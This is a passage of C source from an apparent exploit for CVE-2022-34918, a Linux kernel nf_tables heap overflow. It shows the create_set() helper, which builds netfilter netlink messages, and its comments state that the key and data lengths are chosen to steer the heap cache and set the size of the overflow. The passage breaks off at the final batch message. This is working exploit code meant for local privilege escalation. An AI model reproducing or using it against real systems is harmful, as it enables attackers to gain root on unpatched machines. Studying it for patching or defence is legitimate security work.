Function create_set

CVE-2022-34918/exploit/exploit.c:530–613

create_set(): Create a netfilter set * @sock: Socket used to communicate throught the netfilter netlink * @set_name: Name of the created set * @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache * @data_len: Length of stored data. Used to control the size of the overflow * @table_name: Name of the table that stores this set * @id: ID of the created set

 * @table_name: Name of the table that stores this set
 * @id: ID of the created set */
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
    struct msghdr msg;
    struct sockaddr_nl dest_snl;
    struct nlmsghdr *nlh_batch_begin;
    struct nlmsghdr *nlh_payload;
    struct nlmsghdr *nlh_batch_end;
    struct nfgenmsg *nfm;
    struct nlattr *attr;
    uint64_t nlh_payload_size;
    struct iovec iov[3];

    // Prepare the netlink sockaddr for msg
    memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
    dest_snl.nl_family = AF_NETLINK;

// 1. First netlink message: batch_begin */
    nlh_batch_begin = get_batch_begin_nlmsg();

// 2. Second netlink message : Set attributes */
    nlh_payload_size = sizeof(struct nfgenmsg);     // Mandatory
    nlh_payload_size += S8_NLA_SIZE;                // NFTA_SET_TABLE
    nlh_payload_size += S8_NLA_SIZE;                // NFTA_SET_NAME
    nlh_payload_size += U32_NLA_SIZE;               // NFTA_SET_ID
    nlh_payload_size += U32_NLA_SIZE;               // NFTA_SET_KEY_LEN
    nlh_payload_size += U32_NLA_SIZE;               // NFTA_SET_FLAGS
    nlh_payload_size += U32_NLA_SIZE;               // NFTA_SET_DATA_TYPE
    nlh_payload_size += U32_NLA_SIZE;               // NFTA_SET_DATA_LEN
    nlh_payload_size = NLMSG_SPACE(nlh_payload_size);

    // Allocation
    nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
    if (!nlh_payload)
        error("malloc");

    memset(nlh_payload, 0, nlh_payload_size);

    // Fill the required fields
    nlh_payload->nlmsg_len = nlh_payload_size;
    nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
    nlh_payload->nlmsg_pid = getpid();
    nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
    nlh_payload->nlmsg_seq = 0;
    
    // Setup the nfgenmsg
    nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
    nfm->nfgen_family = NFPROTO_INET;

    // Setup the attributes
    attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
    attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
    attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
    attr = set_u32_attr(attr, NFTA_SET_ID, id);
    attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
    attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
    attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
    set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);

// 3. Last netlink message: batch_end